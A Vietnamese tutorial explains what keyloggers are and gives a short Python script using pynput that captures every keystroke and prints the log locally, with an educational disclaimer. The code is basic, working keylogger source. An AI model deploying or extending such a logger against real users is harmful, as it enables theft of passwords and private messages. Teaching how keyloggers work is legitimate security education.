Toàn bộ nội dung dưới đây mang mục đích học tập chứ không mang mục đích nào khác
1. Keylogger là gì ?
Keylogger thường là một phần mềm nhỏ gọn – hoặc đôi lúc nguy hiểm hơn thậm chí là một thiết bị phần cứng – với khả năng ghi lại mọi phím bấm mà người dùng đã nhấn trên bàn phím. Tổng hợp kết quả của các tổ hợp phím này, kẻ cài đặt keylogger có thể thu được tin nhắn cá nhân, nội dung email, số thẻ tín dụng và dĩ nhiên nguy hiểm nhất là mọi loại mật khẩu của người dùng.
Vì vậy đây là 1 chương trình nguy hiểm, và có tác động tới những thông tin nhạy cảm của người dùng.
2. Lập trình 1 keylogger cơ bản
Oke, sau khi đã hiểu keylogger là cái gì thì chúng ta hãy cùng thử làm 1 chương trình keylogger cơ bản nhất trong những cái cơ bản =))))
Và chương trình sẽ được viết bằng Python ( 1 trong những ngôn ngữ lập trình mà những bạn theo đuổi cyber security nên học)
Lưu ý là bạn phải cài môi trường Python trước xong rồi mới sử dụng được câu lệnh pip
Đầu tiên bạn hãy mở Terminal lên và gõ lệnh sau để cài đặt thư viện pynput mà chúng ta chuẩn bị sử dụng
pip install pynput
Sau khi cài đặt thành công thì bạn mở bất cứ trình biên tập code nào mà bạn sử dụng ở đây mình dùng VSCode vì nó tiện.
xong rôi sau đó copy đoạn code này vào
import pynput
log = ""
def process_keys(key):
global log
try:
log = log + str(key.char)
except AttributeError:
if key == key.space:
log = log + " "
else:
log = log + " "+ str(key) + " "
print(log)
keyboard_listener = pynput.keyboard.Listener(on_press = process_keys)
with keyboard_listener:
keyboard_listener.join()
giờ thì mở Terminal lên và run
python3 keylogger.py
Và đây là kết quả.
Đây mới chỉ là keylogger đơn giản nhất, và thường thì những keylogger thực tế sẽ phức tạp và nhiều chức năng hơn vì vậy các bạn hãy tự tìm hiểu và update thêm chức năng cho tool nhé. Và đừng có dùng vào mục đích xấu 🙂